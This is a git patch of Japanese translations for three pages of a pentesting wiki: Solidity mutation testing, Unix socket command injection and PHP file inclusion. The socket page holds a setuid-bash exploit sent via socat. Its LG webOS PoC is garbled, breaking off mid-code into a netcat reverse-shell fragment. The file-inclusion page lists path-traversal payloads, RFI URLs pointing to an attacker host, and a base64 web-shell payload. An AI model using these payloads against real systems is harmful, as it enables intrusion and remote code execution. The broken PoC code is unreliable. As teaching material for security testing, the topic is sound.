From 20f3fc9370c5304183014a4ffc6d7060acbe5a29 Mon Sep 17 00:00:00 2001 From: Translator Date: Wed, 1 Oct 2025 09:26:51 +0000 Subject: [PATCH] Translated ['', 'src/linux-hardening/privilege-escalation/socket-command --- .../mutation-testing-with-slither.md | 125 ++++--- .../socket-command-injection.md | 45 ++- src/pentesting-web/file-inclusion/README.md | 325 +++++++++--------- 3 files changed, 275 insertions(+), 220 deletions(-) diff --git a/src/blockchain/smart-contract-security/mutation-testing-with-slither.md b/src/blockchain/smart-contract-security/mutation-testing-with-slither.md index 09d755e92..ca0e3f88a 100644 --- a/src/blockchain/smart-contract-security/mutation-testing-with-slither.md +++ b/src/blockchain/smart-contract-security/mutation-testing-with-slither.md @@ -1,14 +1,14 @@ -# Solidity のミューテーションテスト (Slither (slither-mutate) を使用) +# Mutation Testing: Solidity向け Slither (slither-mutate) -{{#include ../../../banners/hacktricks-training.md}} +{{#include ../../banners/hacktricks-training.md}} -ミューテーションテストは、Solidity コードに小さな変更(ミュータント)を体系的に導入し、テストスイートを再実行することで「テストをテスト」します。テストが失敗すればミュータントは殺されます。テストが通り続ける場合、ミュータントは生き残り、line/branch coverage では検出できないテストスイートの盲点を明らかにします。 +Mutation testing は、Solidityコードに小さな変更(mutants)を体系的に導入してテストスイートを再実行することで「テストをテスト」します。テストが失敗すればそのmutantはkillされます。テストが通り続ければmutantは生き残り、行/分岐カバレッジでは検出できないテストスイートの盲点を明らかにします。 -重要なポイント: coverage はコードが実行されたことを示すだけで、mutation testing は振る舞いが実際にアサートされているかどうかを示します。 +重要なポイント:カバレッジはコードが実行されたことを示すだけであり、Mutation testing は挙動が実際にアサートされているかを示します。 -## なぜ coverage は誤解を招くか +## なぜカバレッジは誤解を招くのか -次の単純なしきい値チェックを考えてみよう: +次の単純な閾値チェックを考えてみましょう: ```solidity function verifyMinimumDeposit(uint256 deposit) public returns (bool) { if (deposit >= 1 ether) { @@ -18,94 +18,115 @@ return false; } } ``` -ユニットテストが閾値より下の値と閾値より上の値だけをチェックしている場合、等価性境界(==)をアサートしていなくても行/分岐カバレッジを100%に到達することがある。`deposit >= 2 ether` にリファクタリングしても、そのようなテストは通り続け、プロトコルのロジックを黙って破壊してしまう。 +Unit tests that only check a value below and a value above the threshold can reach 100% line/branch coverage while failing to assert the equality boundary (==). A refactor to `deposit >= 2 ether` would still pass such tests, silently breaking protocol logic. -ミューテーションテストは条件を変更してテストが失敗することを検証することで、このギャップを暴露する。 +ミニマムとマックスの値だけをチェックするユニットテストは、等価境界(==)を検証していなくても行/分岐カバレッジを100%に到達できることがある。`deposit >= 2 ether` にリファクタリングしてもそのテストは通り続け、プロトコルのロジックを密かに破壊してしまう。 -## 一般的な Solidity のミューテーションオペレータ +Mutation testing exposes this gap by mutating the condition and verifying your tests fail. -Slither’s mutation engine は次のような、小さな意味を変える編集を多数適用する: -- 演算子の置換: `+` ↔ `-`, `*` ↔ `/`, など -- 代入の置換: `+=` → `=`, `-=` → `=` -- 定数の置換: non-zero → `0`, `true` ↔ `false` +ミューテーションテストは条件を変異させ、テストが失敗することを確認することでこのギャップを明らかにする。 + +## Common Solidity mutation operators + +Slither’s mutation engine applies many small, semantics-changing edits, such as: +- Operator replacement: `+` ↔ `-`, `*` ↔ `/`, etc. +- Assignment replacement: `+=` → `=`, `-=` → `=` +- Constant replacement: non-zero → `0`, `true` ↔ `false` +- Condition negation/replacement inside `if`/loops +- Comment out whole lines (CR: Comment Replacement) +- Replace a line with `revert()` +- Data type swaps: e.g., `int128` → `int64` + +Slither のミューテーションエンジンは、小さく意味を変える多数の編集を適用します。例えば: +- 演算子の置換:`+` ↔ `-`, `*` ↔ `/` など +- 代入の置換:`+=` → `=`, `-=` → `=` +- 定数の置換:非ゼロ → `0`, `true` ↔ `false` - `if`/ループ内の条件の否定/置換 -- 行全体をコメントアウト(CR: Comment Replacement) -- 行を `revert()` に置換 -- データ型の入れ替え: 例: `int128` → `int64` +- 行全体をコメントアウト (CR: Comment Replacement) +- 行を `revert()` に置き換え +- データ型の入れ替え:例 `int128` → `int64` -目標: 生成されたミュータントを100%排除する、または生存したものについて明確な理由で正当化する。 +Goal: Kill 100% of generated mutants, or justify survivors with clear reasoning. -## slither-mutate を使ったミューテーションテストの実行 +目標:生成されたミュータントを100%排除する、または生き残ったものを明確な理由で正当化すること。 + +## Running mutation testing with slither-mutate Requirements: Slither v0.10.2+. -- オプションとミューテータの一覧: +- List options and mutators: + +## slither-mutate を使ったミューテーションテストの実行 + +要件:Slither v0.10.2+。 + +- オプションとミューテータを一覧表示: ```bash slither-mutate --help slither-mutate --list-mutators ``` -- Foundryの例 (capture results and keep a full log): +- Foundry の例(結果をキャプチャして完全なログを保持する): ```bash slither-mutate ./src/contracts --test-cmd="forge test" &> >(tee mutation.results) ``` -- Foundry を使用していない場合は、`--test-cmd` をテスト実行コマンド(例: `npx hardhat test`, `npm test`)に置き換えてください。 +- Foundry を使用していない場合、`--test-cmd` をテストを実行するコマンド(例: `npx hardhat test`, `npm test`)に置き換えてください。 -成果物とレポートはデフォルトで `./mutation_campaign` に保存されます。検出されずに残った(生存した)ミュータントは検査のためにそこにコピーされます。 +Artifacts and reports are stored in `./mutation_campaign` by default. 検出されなかった(生存した)ミュータントは検査のためそこにコピーされます。 ### 出力の理解 -レポート行は次のようになります: +Report lines look like: ```text INFO:Slither-Mutate:Mutating contract ContractName INFO:Slither-Mutate:[CR] Line 123: 'original line' ==> '//original line' --> UNCAUGHT ``` -- 角括弧内のタグは mutator のエイリアスです(例: `CR` = Comment Replacement)。 -- `UNCAUGHT` は、変異した振る舞いの下でテストがパスしたことを意味します → アサーションが欠けている。 +- 括弧内のタグは mutator のエイリアスです(例: `CR` = Comment Replacement)。 +- `UNCAUGHT` は変異した振る舞いの下でテストが合格したことを意味します → アサーションが不足している。 -## 実行時間の短縮: 影響の大きい変異体(mutants)を優先する +## Reducing runtime: prioritize impactful mutants -Mutation campaigns は数時間〜数日かかることがあります。コスト削減のヒント: -- 範囲: まず重要な contracts/ディレクトリのみを対象にし、その後拡大する。 -- Prioritize mutators: ある行で優先度の高い mutator が生き残った場合(例: 行全体がコメント化される)、その行については優先度の低いバリアントをスキップできる。 -- テストを並列化できるなら並列化する;依存関係やビルドをキャッシュする。 -- Fail-fast: 変更が明らかにアサーションの欠落を示す場合は早期に停止する。 +Mutation campaigns は数時間〜数日かかることがあります。コストを削減するためのヒント: +- Scope: まずは重要な contracts/directories のみを対象にし、徐々に拡大する。 +- Prioritize mutators: 行上の高優先度の mutant が生き残った場合(例: 行全体がコメント化されるなど)、その行に対する低優先度のバリアントはスキップできる。 +- Parallelize tests if your runner allows it; cache dependencies/builds. +- Fail-fast: 変更が明確にアサーションの欠落を示している場合は早期に停止する。 -## 生き残った mutants のトリアージワークフロー +## Triage workflow for surviving mutants -1) 変異した行と振る舞いを確認する。 +1) 変異した行と振る舞いを検査する。 - 変異行を適用してフォーカスしたテストを実行し、ローカルで再現する。 -2) テストを強化して、戻り値だけでなく状態をアサートする。 -- 等価性や境界チェックを追加(例: 閾値が `==` であることをテスト)。 -- 事後条件をアサート: 残高、総供給量、権限の効果、発行されたイベントなど。 +2) テストを強化して、返り値だけでなく state をアサートする。 +- 等価性や境界チェックを追加する(例: 閾値の `==` をテスト)。 +- ポストコンディションをアサートする: balances、total supply、authorization の効果、そして emitted events。 -3) 過度に許容的なモックを、実際の振る舞いに置き換える。 -- モックがチェーン上で起こる transfers、失敗パス、イベント発行を強制することを確認する。 +3) 過度に許容的な mocks を現実的な振る舞いに置き換える。 +- mocks が transfers、failure paths、そして on-chain で発生する event emissions を強制することを確認する。 -4) ファズテスト用の不変条件を追加する。 -- 例: 価値保存、負でない残高、権限に関する不変式、適用可能なら単調増加する供給量など。 +4) fuzz tests のために invariants を追加する。 +- 例: value の保存則、non-negative balances、authorization invariants、該当する場合の monotonic supply。 -5) slither-mutate を再実行し、survivors が排除されるか明確に正当化されるまで続ける。 +5) survivors が消えるか明示的に正当化されるまで slither-mutate を再実行する。 -## ケーススタディ: 欠落した状態アサーションを露呈する事例 (Arkis protocol) +## Case study: revealing missing state assertions (Arkis protocol) -Arkis DeFi protocol の監査中に実施した mutation campaign では、次のような survivors が表面化した: +Arkis DeFi protocol の監査中の mutation campaign で、次のような survivors が表面化しました: ```text INFO:Slither-Mutate:[CR] Line 33: 'cmdsToExecute.last().value = _cmd.value' ==> '//cmdsToExecute.last().value = _cmd.value' --> UNCAUGHT ``` -代入をコメントアウトしてもテストが壊れなかったため、ポストステートのアサーションが欠如していることが明らかになった。根本原因: 実際のトークン転送を検証せず、ユーザー制御の _cmd.value を信用していた。攻撃者は期待される転送と実際の転送をずらして資金を流出させる可能性がある。結果: プロトコルの支払能力(solvency)に対する高重大度のリスク。 +代入をコメントアウトしてもテストが壊れなかったため、事後状態のアサーションが欠如していることが証明された。根本原因:実際のトークン転送を検証するのではなく、ユーザー制御の `_cmd.value` を信用していた。攻撃者は期待される転送と実際の転送をずらして資金を流出させ得る。結果:プロトコルの支払能力に対する高リスク。 -ガイダンス: 価値転送、会計、またはアクセス制御に影響する survivors(生き残ったミュータント)は、kill(無効化)されるまで高リスクとして扱うこと。 +Guidance: 価値転送、会計、またはアクセス制御に影響する残存変異は、除去されるまで高リスクとして扱うこと。 ## 実践チェックリスト -- 対象を絞ったキャンペーンを実行する: +- 対象を絞ったキャンペーンを実行: - `slither-mutate ./src/contracts --test-cmd="forge test"` -- survivorsをトリアージし、変異した振る舞い下で失敗するテスト/不変条件を書きます。 -- 残高、供給量、承認、イベントを検証する。 -- 境界テストを追加する(`==`、オーバーフロー/アンダーフロー、zero-address、zero-amount、空配列)。 -- 現実的でないモックを置き換え、失敗モードをシミュレートする。 -- すべてのミュータントが kill されるか、コメントと根拠で正当化されるまで反復する。 +- 残存変異をトリアージし、変異した振る舞いで失敗するようなテスト/不変条件を作成する。 +- 残高、供給量、認可、イベントをアサートする。 +- 境界テストを追加する(`==`、オーバーフロー/アンダーフロー、ゼロアドレス、ゼロ量、空配列)。 +- 現実的でないモックは置き換え、故障モードをシミュレートする。 +- すべての変異が検出(kill)されるか、コメントと根拠で正当化されるまで繰り返す。 ## References @@ -113,4 +134,4 @@ INFO:Slither-Mutate:[CR] Line 33: 'cmdsToExecute.last().value = _cmd.value' ==> - [Arkis DeFi Prime Brokerage Security Review (Appendix C)](https://github.com/trailofbits/publications/blob/master/reviews/2024-12-arkis-defi-prime-brokerage-securityreview.pdf) - [Slither (GitHub)](https://github.com/crytic/slither) -{{#include ../../../banners/hacktricks-training.md}} +{{#include ../../banners/hacktricks-training.md}} diff --git a/src/linux-hardening/privilege-escalation/socket-command-injection.md b/src/linux-hardening/privilege-escalation/socket-command-injection.md index d43903642..fa7d970d6 100644 --- a/src/linux-hardening/privilege-escalation/socket-command-injection.md +++ b/src/linux-hardening/privilege-escalation/socket-command-injection.md @@ -1,8 +1,10 @@ +# Socket Command Injection + {{#include ../../banners/hacktricks-training.md}} -## Pythonによるソケットバインディングの例 +## Socket binding example with Python -次の例では、**unixソケットが作成され** (`/tmp/socket_test.s`) 、受信したすべてのものが`os.system`によって**実行されます**。これは実際には見つからないと思いますが、この例の目的は、unixソケットを使用したコードがどのように見えるか、そして最悪のケースでの入力の管理方法を示すことです。 +以下の例では、**unix socket is created**(`/tmp/socket_test.s`)され、すべて**received**されたものが `os.system` によって**executed**されます。現実世界でこのようなコードを見つけることはまずないでしょうが、この例の目的は、unix sockets を使ったコードがどのように見えるか、そして最悪のケースで入力をどのように扱うかを確認することです。 ```python:s.py import socket import os, os.path @@ -24,15 +26,50 @@ print(datagram) os.system(datagram) conn.close() ``` -**コードを実行**するには、pythonを使用します: `python s.py` と **ソケットがどのようにリッスンしているかを確認**します: +**実行する** その code を python で: `python s.py` と **ソケットがどのようにリッスンしているか確認する**: ```python netstat -a -p --unix | grep "socket_test" (Not all processes could be identified, non-owned process info will not be shown, you would have to be root to see it all.) unix 2 [ ACC ] STREAM LISTENING 901181 132748/python /tmp/socket_test.s ``` -**エクスプロイト** +**Exploit** ```python echo "cp /bin/bash /tmp/bash; chmod +s /tmp/bash; chmod +x /tmp/bash;" | socat - UNIX-CLIENT:/tmp/socket_test.s ``` +## ケーススタディ: Root-owned UNIX socket signal-triggered escalation (LG webOS) + +一部の特権デーモンは、root-owned UNIX socket を公開しており、信頼できない入力を受け付け、特権アクションを thread-IDs と signals に結び付けます。プロトコルが非特権クライアントにどの native thread を対象にするか影響させる余地を与える場合、特権コードパスをトリガーして権限昇格できる可能性があります。 + +観察されたパターン: +- root-owned socket に接続する(例: /tmp/remotelogger)。 +- スレッドを作成し、その native thread id (TID) を取得する。 +- TID(packed)と padding をリクエストとして送信し、確認応答を受け取る。 +- その TID に特定の signal を送って特権動作をトリガーする。 + +最小限の PoC スケッチ: +```python +import socket, struct, os, threading, time +# Spawn a thread so we have a TID we can signal +th = threading.Thread(target=time.sleep, args=(600,)); th.start() +tid = th.native_id # Python >=3.8 +s = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM) +s.connect("/tmp/remotelogger") +s.sendall(struct.pack('&1 | nc 23231 > /tmp/f +``` +注意: +- この種のバグは、特権のないクライアント状態(TIDs)から導出された値を信用し、それらを特権付きのシグナルハンドラやロジックに結びつけることから発生します。 +- socket 上で資格情報を強制し、message formats を検証し、特権操作を外部から供給された thread identifiers から切り離すことでハードニングしてください。 + +## 参考文献 + +- [LG WebOS TV Path Traversal, Authentication Bypass and Full Device Takeover (SSD Disclosure)](https://ssd-disclosure.com/lg-webos-tv-path-traversal-authentication-bypass-and-full-device-takeover/) + {{#include ../../banners/hacktricks-training.md}} diff --git a/src/pentesting-web/file-inclusion/README.md b/src/pentesting-web/file-inclusion/README.md index 0d3177293..035ff61d2 100644 --- a/src/pentesting-web/file-inclusion/README.md +++ b/src/pentesting-web/file-inclusion/README.md @@ -4,12 +4,12 @@ ## File Inclusion -**Remote File Inclusion (RFI):** ファイルがリモート server から読み込まれる(ベスト: あなたがコードを書き、その server が実行する)。php ではこれはデフォルトで **無効** です(**allow_url_include**)。\ -**Local File Inclusion (LFI):** sever がローカルファイルを読み込む。 +**Remote File Inclusion (RFI):** ファイルはリモートサーバーから読み込まれる(理想的には、自分でコードを書きサーバー上で実行させられる)。 phpではデフォルトで**無効**です(**allow_url_include**)。\ +**Local File Inclusion (LFI):** サーバーがローカルファイルを読み込む。 -この脆弱性は、ユーザーが何らかの方法で server によって読み込まれるファイルを制御できる場合に発生する。 +脆弱性は、ユーザーがサーバーが読み込むファイルを何らかの方法で制御できる場合に発生する。 -脆弱な PHP 関数: require, require_once, include, include_once +脆弱な **PHP 関数**: require, require_once, include, include_once この脆弱性を悪用するための興味深いツール: [https://github.com/kurobeats/fimap](https://github.com/kurobeats/fimap) @@ -26,32 +26,32 @@ wfuzz -c -w ./lfi2.txt --hw 0 http://10.10.10.10/nav.php?page=../../../../../../ https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_linux.txt {{#endref}} -また `/` を `\`\ に変更してみてください\ +また `/` を `\` に変更してみてください\ また `../../../../../` を追加してみてください -/ etc /password ファイルを見つけるために複数の手法を使っているリスト(脆弱性の存在を確認するため)は [here](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-nix.txt) にあります +脆弱性の存在を確認するためにファイル /etc/password を検出するための複数の手法を使用したリストは [here](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-nix.txt) にあります ### **Windows** -異なるワードリストのマージ: +異なる wordlists をマージしたもの: {{#ref}} https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_windows.txt {{#endref}} -また `/` を `\`\ に変更してみてください\ -`C:/` を削除して `../../../../../` を追加してみてください +また `/` を `\` に変更してみてください\ +また `C:/` を削除して `../../../../../` を追加してみてください -/boot.ini ファイルを見つけるために複数の手法を使っているリスト(脆弱性の存在を確認するため)は [here](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-win.txt) にあります +脆弱性の存在を確認するためにファイル /boot.ini を検出するための複数の手法を使用したリストは [here](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-win.txt) にあります ### **OS X** -Linux の LFI リストを参照してください。 +linux の LFI リストを確認してください。 -## Basic LFI and bypasses +## 基本的な LFI とバイパス -以下の例はすべて Local File Inclusion 向けですが、Remote File Inclusion にも適用できます (page=[http://myserver.com/phpshellcode.txt\\](). +すべての例は Local File Inclusion 向けですが、Remote File Inclusion にも適用できます (page=[http://myserver.com/phpshellcode.txt\\](). ``` http://example.com/index.php?page=../../../etc/passwd ``` @@ -63,7 +63,7 @@ http://some.domain.com/static/%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/etc/passwd ``` ### **Null byte (%00)** -提供された文字列の末尾に追加される余分な文字をBypassする (bypass of: $\_GET\['param']."php") +提供された文字列の末尾にさらに文字を追加する処理をbypassする (bypass of: $\_GET\['param']."php") ``` http://example.com/index.php?page=../../../etc/passwd%00 ``` @@ -71,7 +71,7 @@ http://example.com/index.php?page=../../../etc/passwd%00 ### **エンコーディング** -非標準のエンコーディング(double URL encode など)を使用できます: +double URL encode (and others) のような非標準エンコーディングを使用できます: ``` http://example.com/index.php?page=..%252f..%252f..%252fetc%252fpasswd http://example.com/index.php?page=..%c0%af..%c0%af..%c0%afetc%c0%afpasswd @@ -80,42 +80,42 @@ http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd%00 ``` ### 既存のフォルダから -もしかすると back-end がフォルダのパスをチェックしている: +おそらく back-end がフォルダパスをチェックしています: ```python http://example.com/index.php?page=utils/scripts/../../../../../etc/passwd ``` -### サーバー上のファイルシステムディレクトリの探索 +### サーバーのファイルシステム内のディレクトリ探索 -サーバーのファイルシステムは、特定の手法を用いて再帰的に探索し、ファイルだけでなくディレクトリを特定できます。このプロセスでは、ディレクトリの深さを把握し、特定のフォルダの存在を確認します。以下はその詳細な方法です: +サーバーのファイルシステムは、特定の手法を用いることで、ファイルだけでなくディレクトリも再帰的に探索できます。このプロセスでは、ディレクトリの深さを特定し、特定のフォルダの存在を確認します。以下はその具体的な方法です: -1. **ディレクトリの深さを特定する:** 成功裏に `/etc/passwd` を取得することで、現在のディレクトリの深さを特定します(サーバーが Linux ベースの場合に適用)。以下は深さが三であることを示す例のURL構造です: +1. **ディレクトリの深さを特定する:** `/etc/passwd` ファイルを正しく取得できることで現在のディレクトリの深さを判定します(サーバーがLinuxベースの場合)。例として、深さが三を示すURLは次のような構成になることがあります: ```bash http://example.com/index.php?page=../../../etc/passwd # depth of 3 ``` -2. **フォルダを調査する:** URLに疑わしいフォルダ名(例:`private`)を追加してから、`/etc/passwd` に戻ってアクセスします。追加のディレクトリ階層があるため、depthを1つ増やす必要があります: +2. **Probe for Folders:** 疑わしいフォルダ名(例: `private`)をURLに追加し、その後 `/etc/passwd` に戻ります。追加のディレクトリ階層のため、depth を1増やす必要があります: ```bash http://example.com/index.php?page=private/../../../../etc/passwd # depth of 3+1=4 ``` -3. **結果の解釈:** サーバーの応答によりフォルダが存在するかどうかがわかります: -- **Error / No Output:** 指定された場所に `private` フォルダが存在しない可能性が高いです。 -- **Contents of `/etc/passwd`:** `private` フォルダの存在が確認されます。 -4. **Recursive Exploration:** 発見したフォルダは、同じ手法または従来の Local File Inclusion (LFI) 手法を使ってサブディレクトリやファイルをさらに調査できます。 +3. **結果を解釈する:** サーバの応答はフォルダが存在するかどうかを示します: +- **エラー / 出力なし:** 指定した場所に `private` フォルダが存在しない可能性があります。 +- **`/etc/passwd` の内容:** `private` フォルダの存在が確認されます。 +4. **再帰的な探索:** 発見したフォルダは、同じ手法や従来の Local File Inclusion (LFI) 手法を使ってサブディレクトリやファイルをさらに調査できます。 -ファイルシステム内の別の場所にあるディレクトリを探索するには、payload を適宜調整してください。例えば、カレントディレクトリが深さ3にあると仮定して、`/var/www/` に `private` ディレクトリがあるか確認するには: +ファイルシステムの別の場所にあるディレクトリを調べるには、payload を適宜調整してください。例えば、現在のディレクトリが深さ3にあると仮定して、`/var/www/` に `private` ディレクトリが含まれているか確認するには、次を使用します: ```bash http://example.com/index.php?page=../../../var/www/private/../../../etc/passwd ``` ### **Path Truncation Technique** -Path truncationは、ウェブアプリケーションのファイルパスを操作するために用いられる手法です。通常、ファイルパスの末尾に追加の文字を付け加えるセキュリティ対策をバイパスして、制限されたファイルにアクセスするために使われます。目的は、セキュリティ対策によって変更されたとしても、依然として目的のファイルを指すファイルパスを作成することです。 +Path truncation はウェブアプリケーションのファイルパスを操作するための手法です。ファイルパスの末尾に追加の文字を付加するなどのセキュリティ対策を回避して、制限されたファイルにアクセスするために使われることが多いです。目的は、セキュリティ対策によって変更された後も目的のファイルを指すようなファイルパスを作成することです。 -In PHPでは、ファイルシステムの性質上、ファイルパスのさまざまな表現が同等と見なされることがあります。例えば: +In PHP、ファイルシステムの性質上、同じファイルパスが異なる表記で等価と見なされることがあります。例えば: - `/etc/passwd`, `/etc//passwd`, `/etc/./passwd`, and `/etc/passwd/` are all treated as the same path. -- 末尾の6文字が `passwd` の場合、末尾に `/` を追加して `passwd/` にしても対象ファイルは変わりません。 -- 同様に、ファイルパスに `.php` が付いている場合(例:`shellcode.php`)、末尾に `/.` を追加してもアクセスされるファイルは変わりません。 +- When the last 6 characters are `passwd`, appending a `/` (making it `passwd/`) doesn't change the targeted file. +- Similarly, if `.php` is appended to a file path (like `shellcode.php`), adding a `/.` at the end will not alter the file being accessed. -以下の例は、機密情報(ユーザーアカウント情報)を含む一般的なターゲットである `/etc/passwd` にアクセスするために path truncation を利用する方法を示しています: +以下の例は、機密性の高い内容(ユーザーアカウント情報)を含むことが多いため一般的なターゲットである `/etc/passwd` にアクセスするために path truncation を利用する方法を示しています: ``` http://example.com/index.php?page=a/../../../../../../../../../etc/passwd......[ADD MORE].... http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[ADD MORE]/././. @@ -125,15 +125,15 @@ http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[ http://example.com/index.php?page=a/./.[ADD MORE]/etc/passwd http://example.com/index.php?page=a/../../../../[ADD MORE]../../../../../etc/passwd ``` -In these scenarios, the number of traversals needed might be around 2027, but this number can vary based on the server's configuration. +これらのシナリオでは、必要な traversals の数は約2027 に達することがありますが、この数はサーバの設定によって変わる可能性があります。 -- **Using Dot Segments and Additional Characters**: Traversal sequences (`../`) と追加の dot segments や文字を組み合わせることで、ファイルシステムを移動し、サーバーによって付加された文字列を事実上無視できます。 -- **Determining the Required Number of Traversals**: 試行錯誤により、root directory まで、そして `/etc/passwd` へ辿るために必要な正確な `../` シーケンスの数を見つけることができ、`.php` のような付加文字列を無効化しつつ目的のパス(`/etc/passwd`)を維持できます。 -- **Starting with a Fake Directory**: パスを非存在ディレクトリ(例: `a/`)で始めるのは一般的な手法です。このテクニックは予防措置として、またはサーバーの path parsing ロジックの要件を満たすために使われます。 +- **Using Dot Segments and Additional Characters**: Traversal sequences (`../`) と追加のドットセグメントや文字を組み合わせることでファイルシステムを移動でき、サーバが付加した文字列を実質的に無視させることができます。 +- **Determining the Required Number of Traversals**: 試行錯誤によりルートディレクトリへ、さらに `/etc/passwd` へ到達するために必要な正確な `../` シーケンスの数を見つけられます。サーバが付加した文字列(例えば `.php`)を無効化しつつ、目的のパス(`/etc/passwd`)を維持できます。 +- **Starting with a Fake Directory**: 存在しないディレクトリ(例: `a/`)でパスを始めるのは一般的な手法です。この手法は予防措置として、あるいはサーバのパス解析ロジックの要件を満たすために使われます。 -When employing path truncation techniques, it's crucial to understand the server's path parsing behavior and filesystem structure. Each scenario might require a different approach, and testing is often necessary to find the most effective method. +When employing path truncation techniques、サーバのパス解析の挙動やファイルシステム構造を理解しておくことが重要です。シナリオごとに異なるアプローチが必要になる場合があり、最も効果的な手法を見つけるためにはテストが必要になることが多いです。 -**This vulnerability was corrected in PHP 5.3.** +**この脆弱性は PHP 5.3 で修正されました。** ### **Filter bypass tricks** ``` @@ -145,45 +145,45 @@ http://example.com/index.php?page=PhP://filter ``` ## Remote File Inclusion -phpでは、デフォルトで無効になっています。これは **`allow_url_include`** が **Off** になっているためです。動作させるには **On** にする必要があり、その場合、サーバー上の PHP ファイルを include して RCE を得ることができます: +phpではこれはデフォルトで無効になっています。理由は **`allow_url_include`** が **Off.** だからです。動作させるには **On** にする必要があり、その場合は自分のサーバーからPHPファイルをincludeしてRCEを得ることができます: ```python http://example.com/index.php?page=http://atacker.com/mal.php http://example.com/index.php?page=\\attacker.com\shared\mal.php ``` -もし何らかの理由で **`allow_url_include`** が **On** になっているが、PHP が外部ウェブページへのアクセスを **filtering** している場合、[この投稿](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64/) によれば、例えば base64 を使った data プロトコルで b64 PHP コードをデコードして RCE を得ることができます: +何らかの理由で **`allow_url_include`** が **On** で、しかし PHP が外部ウェブページへのアクセスを **filtering** している場合、[according to this post](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64/)、例えば data protocol と base64 を使って b64 PHP コードをデコードし、egt RCE を得ることができます: ``` PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.txt ``` > [!TIP] -> 前のコードでは、末尾の `+.txt` は attacker が `.txt` で終わる文字列を必要としていたため追加されました。したがって文字列はそれで終わり、b64 デコード後その部分はただのゴミを返し、本当の PHP コードがインクルードされ(したがって実行され)ます。 +> 前のコードでは、最後の `+.txt` は攻撃者が `.txt` で終わる文字列を必要としていたため追加されました。文字列はそれで終わり、b64 decode 後、その部分は単なるゴミを返し、本来の PHP コードがインクルードされ(したがって、実行され)ます。 -別の例 **not using the `php://` protocol** は次の通りです: +別の例 **`php://` プロトコルを使用しない** は次のようになります: ``` data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+txt ``` -## Python のルート要素 +## Python の Root 要素 Pythonでは、次のようなコードの場合: ```python # file_name is controlled by a user os.path.join(os.getcwd(), "public", file_name) ``` -ユーザーが **absolute path** を **`file_name`** に渡した場合、**以前のパスは単に削除されます**: +ユーザーが **absolute path** を **`file_name`** に渡すと、**前のパスは単に削除されます**: ```python os.path.join(os.getcwd(), "public", "/etc/passwd") '/etc/passwd' ``` -これは [the docs](https://docs.python.org/3.10/library/os.path.html#os.path.join) による意図された動作です: +これは[the docs](https://docs.python.org/3.10/library/os.path.html#os.path.join)に記載されている意図された動作です: -> コンポーネントが絶対パスである場合、以前のすべてのコンポーネントは破棄され、結合は絶対パスのコンポーネントから継続されます。 +> もしあるコンポーネントが絶対パスであれば、それ以前の全てのコンポーネントは破棄され、結合はその絶対パスのコンポーネントから継続されます。 ## Java ディレクトリ一覧 -JavaでPath Traversalがあり、ファイルの代わりに**ディレクトリを要求すると**、**ディレクトリの一覧が返される**ようです。他の言語では発生しないようです(私の知る限り)。 +どうやら、JavaでPath Traversalがあり、ファイルではなく**ディレクトリを要求すると**、**ディレクトリの一覧が返される**ようです。他の言語では起きないようです(afaik)。 -## トップ25のパラメータ +## 上位25のパラメータ -local file inclusion (LFI) 脆弱性の影響を受ける可能性があるトップ25のパラメータのリストは以下の通りです(出典: [link](https://twitter.com/trbughunters/status/1279768631845494787)): +以下はlocal file inclusion (LFI) の脆弱性の対象になり得る上位25のパラメータの一覧です(出典: [link](https://twitter.com/trbughunters/status/1279768631845494787)): ``` ?cat={payload} ?dir={payload} @@ -211,38 +211,38 @@ local file inclusion (LFI) 脆弱性の影響を受ける可能性があるト ?mod={payload} ?conf={payload} ``` -## LFI / RFI — PHP ラッパーとプロトコルの利用 +## PHP wrappers & プロトコルを使った LFI / RFI ### php://filter -PHP filters は、データが読み込まれたり書き込まれたりする前に、基本的な **データに対する変更操作** を行うことを可能にします。フィルターは5つのカテゴリに分類されます: +PHP filters は、データが読み取られたり書き込まれたりする前に基本的な **データの変更操作** を行うことを可能にします。フィルタには5つのカテゴリがあります: - [String Filters](https://www.php.net/manual/en/filters.string.php): - `string.rot13` - `string.toupper` - `string.tolower` -- `string.strip_tags`: データからタグを除去します("<" と ">" の間のすべて) +- `string.strip_tags`: データからタグを削除します("<" と ">" 文字の間のすべて) - Note that this filter has disappear from the modern versions of PHP - [Conversion Filters](https://www.php.net/manual/en/filters.convert.php) - `convert.base64-encode` - `convert.base64-decode` - `convert.quoted-printable-encode` - `convert.quoted-printable-decode` -- `convert.iconv.*` : 別のエンコーディングに変換します(`convert.iconv..`)。サポートされている**すべてのエンコーディングの一覧**を得るにはコンソールで次を実行します: `iconv -l` +- `convert.iconv.*` : 別のエンコーディングに変換します(`convert.iconv..`)。サポートされている**すべてのエンコーディングの一覧**を取得するにはコンソールで `iconv -l` を実行してください。 > [!WARNING] -> Abusing the `convert.iconv.*` conversion filter you can **generate arbitrary text**, which could be useful to write arbitrary text or make a function like include process arbitrary text. For more info check [**LFI2RCE via php filters**](lfi2rce-via-php-filters.md). +> `convert.iconv.*` の変換フィルタを悪用すると、**任意のテキストを生成**でき、任意のテキストを書き込んだり、include のような関数に任意のテキストを処理させたりするのに役立ちます。詳細は [**LFI2RCE via php filters**](lfi2rce-via-php-filters.md) を参照してください。 - [Compression Filters](https://www.php.net/manual/en/filters.compression.php) -- `zlib.deflate`: コンテンツを圧縮します(大量の情報を exfiltrating する場合に有用) -- `zlib.inflate`: データを解凍します +- `zlib.deflate`: コンテンツを圧縮します(大量の情報を外部へ取り出す場合に便利) +- `zlib.inflate`: データを展開します - [Encryption 